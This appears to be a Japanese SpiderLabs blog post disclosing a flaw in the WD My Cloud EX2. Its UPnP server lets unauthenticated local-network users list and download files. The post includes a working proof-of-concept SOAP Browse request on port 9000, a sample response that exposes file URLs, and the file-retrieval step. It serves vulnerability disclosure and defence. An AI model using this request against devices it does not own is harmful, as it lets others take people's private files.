ブログとストーリー

SpiderLabsブログ

年間50万人以上の読者を魅了しているブログがセキュリティ コミュニティの主要目的地になっているのは、最新の脅威の技術的な分析、重要な脆弱性に関する開示、最先端の研究が掲載されているからです。

WD My Cloud EX2 が誰にでもファイルを提供できてしまう

Western Digital の My Cloud は、ユーザーが重要な文書、写真、メディアファイルをバックアッ プおよび保存できる人気のストレージ/バックアップデバイスです。 残念ながら、新しい My Cloud EX2 ドライブのデフォルト設定では、認証されていないローカルネットワークユーザが、 HTTP リクエストを使用してデバイスからファイルを取得できてしまいます。 これは、デバイス の電源がオンになると自動的に起動される UPnP メディアサーバーによるものです。 デフォル トでは、認証されていないユーザーが、所有者または管理者が設定した権限または制限を完 全に迂回してデバイスからファイルを取得できてしまいます。

以下に、各ステップの説明とコンセプトの実証を行います。

  1. 攻撃者は、HTTP リクエストをポート 9000 に対して行い、「TMSContentDirectory/Control」 リソースを要求します。 リクエストには、参照アクションを含む XML が含まれている必要が あります。

POST /TMSContentDirectory/Control HTTP/1.1
Content-Length: 447
Soapaction: "urn:schemas-upnp-org:service:ContentDirectory:1#Browse"
Content-Type: text/xml

<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:Browse xmlns:u="urn:schemas-upnp-org:service:ContentDirectory:1">
<ObjectID>B</ObjectID>
<BrowseFlag>BrowseDirectChildren</BrowseFlag>
<Filter>*</Filter>
<StartingIndex>0</StartingIndex>
<RequestedCount>30</RequestedCount>
<SortCriteria></SortCriteria>
</u:Browse>
</s:Body>
</s:Envelope>

  1. UPnP サーバーは、デバイス上のファイルのリストを応答します。 そのレスポンスは次のよ うになります。

...
<item id="0$2$20I258" parentID="0$2$20" restricted="1">
<dc:title>L1010268</dc:title>
<dc:date>2017-12-03</dc:date>
<upnp:album>Leica</upnp:album>
<pv:extension>JPG</pv:extension>
...
<pv:bookmark>uuid:55076f6e-6b79-4d65-64cf-0014ee1c561c,-L3NoYXJlcy9QdWJsaWMvU2hhcmVkIFBpY3R1cmVzL0xlaWNhL0wxMDEwMjY4LkpQRw==</pv:bookmark
<res size="4768768" resolution="4112x3088" protocolInfo="http-get:*:image/jpeg:*">http://MYCLOUDIP:9000/disk/NON-DLNA-OP01-FLAGS00d00000/O0$2$20I258.JPG</res>
...

res エレメント内の protocolInfo 属性における URL に注目してください。 また、 pv:bookmark エレメントには、デバイス上のファイルへの base64 でエンコードされたパスが含 まれています。

  1. 攻撃者は別の HTTP リクエストを使用して、手順 2 で収集したレスポンス内に示された URL を使用してデバイスから実際のファイルを取得します。

残念ながら、WD はこの安全でないデフォルト設定を修正することを拒否しました。 代わりに、 ユーザーがその製品機能を利用したくない場合には、DLNA をオフにするために、このナレッ ジベース記事に従うことを推奨しています。

より詳細な情報を知りたい場合には、下記の我々の勧告をお読みください。 http://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2018-005/

また、自分のデバイスをテストするためのツールも作っています。 https://github.com/SpiderLabs/advisories-poc/blob/master/TWSL2018-005/send-browse.py